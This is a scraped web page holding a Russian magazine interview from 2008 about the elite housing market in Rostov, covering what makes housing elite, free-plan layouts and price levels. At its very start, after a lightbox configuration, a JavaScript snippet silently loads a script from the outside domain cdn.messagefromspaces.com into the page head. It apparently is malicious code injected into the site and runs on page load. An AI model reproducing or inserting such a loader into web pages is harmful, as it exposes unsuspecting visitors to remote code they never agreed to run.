, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Красиво жить

Сегмент элитной недвижимости является на сегодняшний день довольно неопределенным в России. Он не имеет четких границ и общепринятых критериев. Тем не менее, а примерах появления элитного, жилья на ростовском рынке уже можно говорить. Что подразумевается под элитной недвижимостью в Ростове и каковы ее особенности, журнал Hi Home поинтересовался  у экспертов. (Hi Home 04/2008)

Hi Home: — Рынок элитной недвижимости сейчас активно развивается в Ростове, или пока мы видим только отдельные интересные проекты?

Эляна Заверухина: — По сравнению с темпами застройки прошлых лет сейчас рынок элитной недвижимости активно развивается. Об этом свидетельствует не только возведение домов с элитными квартирами в центре города, но и в других районах: на Западном, Северном. И судя по всему, активное строительство будет продолжаться. Конечно, говорить о том, что большая часть возведенных домов будет относиться к «элитным», не стоит. Но, все-таки, их станет больше.

Hi Home:Единой официальной классификации элитного жилья в России не существует. Каким требованиям, на ваш взгляд, должен отвечать объект, чтобы
считаться элитным?

Эляна Заверухина: — Объект может считаться элитным, когда он имеет определенный набор условий, необходимых для элитного проживания.

Первое, свободная планировка квартир, которая позволяет владельцу нового жилья использовать все возможности внутреннего объема помещений в зависимости от выбранного стилевого решения и своих вкусовых предпочтений.

Второе условие — красивое фасадное решение, которое играет немаловажную роль для взыскательного клиента.

Третье, качественное благоустройство прилегающей к дому территории — гостевые парковки, мощение дорожек тротуарной плиткой, озеленение, малые архитектурные формы. Не менее важно и благоустройство внутренней части двора дома: наличие небольших детских площадок с качелями, спортивные площадки и тому подобное.

Hi Home: — Как понятие «элитности» отражается в планировке квартир?

Эляна Заверухина: — Сегодня, говоря об элитности планировки квартир, мы подразумеваем, прежде всего, наличие свободной планировки. Когда хозяин квартиры еще на стадии строительства дома может моделировать внутреннее пространство и интерьер будущей квартиры. Все, что может ограничивать его решения — несущие колонны в каркасно-монолитном строительстве и несущие стены в обычном.

Hi Home: — Какова сегодня цена вопроса, когда мы говорим об элитной квартире или коттедже? И как будет развиваться ценовая ситуация в ближайшей и долгосрочной перспективе?

Эляна Заверухина: — Сегодня средняя цена одного кв.м в элитном доме стоит от 45 до 65 тысяч рублей. В свою очередь, цена на элитный коттедж составляет от 10 до 20 млн. рублей. Если сравнить эти цены с теми, что были несколько лет назад, то мы увидим, что стоимость на жилье вообще, и на элитное в частности, неуклонно растет (год назад такую же квартиру или коттедж можно было купить в среднем на 30 % дешевле). Такая ситуация объясняется не только повышением цен на строительные материалы, приростом населения, но и тенденцией к инфляции.

Оставить комментарий

Проекты
открыть | закрыть
Случайное фото
Get the Flash Player to see the slideshow.